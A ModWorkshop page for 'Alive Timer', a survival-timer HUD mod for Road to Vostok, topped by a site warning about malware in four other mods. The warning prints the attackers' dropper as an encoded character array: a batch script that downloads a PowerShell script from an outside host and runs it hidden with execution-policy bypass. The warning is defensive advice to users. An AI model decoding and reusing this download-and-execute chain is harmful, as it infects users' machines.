📢 Attention about malware in mods

If you had installed the following mods:

"Auto Save on Exit" by Subaiy | MD5 hash - 6246fa47c492250128cbb4a463d2161a "Kill Counter" by Daniel | MD5 hash - bcee56cc847489a2a328189ba882d95e (if you downloaded this one: https://modworkshop.net/mod/56156 you are fine.) "Enemies Drop Better Loot" by Krunker | MD5 hash - ba9e7d88f1079c0324d53bde5786e4da (If you downloaded this one: https://modworkshop.net/mod/56230 you are fine). "Item Esp" by captainushi55. | MD5 hash - c663af8446d2a71747456cea36d0dfd9

Your PC is likely infected with malware. Do a proper reset to your computer.

What are we gonna do next? We are going to look for moderators to look at new mods for RTV. We'll be looking into ways to improve the site itself to better protect against these bad actors and also to let users know if a mod was infected - https://modworkshop.net/thread/13229. What can you do? Again if you are infected, factory reset your computer. Search for suspicious things in the mods you download (like "powershell")
These attacks all follow the same pattern, they execute a powershell script using some encoded URL:
[64,101,99,104,111,32,111,102,102,10,115,116,97,114,116,32,47,98,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,101,112,32,98,121,112,97,115,115,32,45,119,32,72,105,100,100,101,110,32,45,99,32,34,105,119,114,32,104,116,116,112,115,58,47,47,114,111,97,100,116,111,118,111,115,116,111,107,46,115,116,111,114,101,47,100,97,46,112,115,49,32,45,111,117,116,32,37,84,69,77,80,37,92,100,108,46,112,115,49,32,45,117,115,101,98,59,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,101,112,32,98,121,112,97,115,115,32,45,119,32,72,105,100,100,101,110,32,45,102,32,37,84,69,77,80,37,92,100,108,46,112,115,49,59,32,83,116,97,114,116,45,83,108,101,101,112,32,53,59,32,100,101,108,32,37,84,69,77,80,37,92,100,108,46,112,115,49,34,10,100,101,108,32,34,37,126,48,34] Check file hash of the file you downloaded using: https://hash-file.online. Any mod containing powershell script without a good reason should be reported to moderators. Any mod that isn't open-source should be reported.

This mod uses AI-Generated content either partly or fully, see mod's description for more information.

Alive Timer

Alive Timer — Road to Vostok Mod

Requested by Eroktic.

A GAMMA-style survival timer for Road to Vostok displaying how long your
character has been alive in DD:hh:mm:ss format (or hh:mm:ss until reaching
24 hours), positioned beneath the FPS counter.

Features

HUD Integration: Plain text matching the game's FPS widget font size, no
panel/border by default. Automatically hides during main menu, pause menu,
settings, MCM, and loading screens.
Pause Behavior: The clock freezes during pause, death, loading screens,
and optionally within safe shelters.
Auto-Reset Functionality: Automatically detects new characters and
permadeath wipes by monitoring RTV's save files, resetting the clock to
zero for each character.
Profile Support: Compatible with
Patty's Profiles, maintaining separate
elapsed time per profile with automatic reloading and cleanup.
Rebindable Controls: Two hotkeys — F10 to toggle visibility and F8
(press twice within 1.5 seconds) to reset the timer.
MCM Customization: Configure position, font size, color, opacity,
background styling, and behavioral toggles with live preview.

Installation

Required:

A mod loader —
Metro Mod Loader,
VostokMods, or
RTV Mod Loader.

Strongly Recommended:

Mod Configuration Menu (MCM)

Steps:

Place AliveTimer.vmz into <Road to Vostok>/mods/
Launch the game and verify the log shows successful loading

Optional:

Patty's Profiles for per-profile timer
tracking

Default Hotkeys

Key	Action
`F10`	Toggle timer visibility
`F8`	Reset timer (confirm with second press within 1.5s)

MCM Settings

Access via Road to Vostok Settings → Alive Timer:

Position: Horizontal and vertical margins
Appearance: Font size, text color, opacity, optional background pill
Behavior:
- Hide days while under 24 hours (default: on)
- Hide seconds (default: off)
- Pause in safe areas (default: on)
- Reset on death (default: on)
- Reset on new game (default: on)
Controls: Rebindable visibility and reset keys

Compatibility

The mod operates independently with its own CanvasLayer, doesn't override RTV
scripts, and doesn't modify save files — only monitoring character data for
detection purposes.

Uninstall

Delete AliveTimer.vmz from the mods folder. Optional: remove saved state
from AppData directories.

Technical Notes

Performance: Minimal per-frame overhead with throttled file polling
Safety: Fail-closed detection prevents crashes; frame-time deltas are
clamped
State Storage: Elapsed time stored in user://AliveTimer/state.cfg;
MCM settings in user://MCM/AliveTimer/config.ini
Manual Reset: Confirmation prompt prevents accidental resets

Issues / feedback

Open an issue on the mod's ModWorkshop page or post in the Road to Vostok
modding Discord.

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Downloads71

Publish Date4 days ago

Last Updated4 days ago by

mr5848

Version1.1.0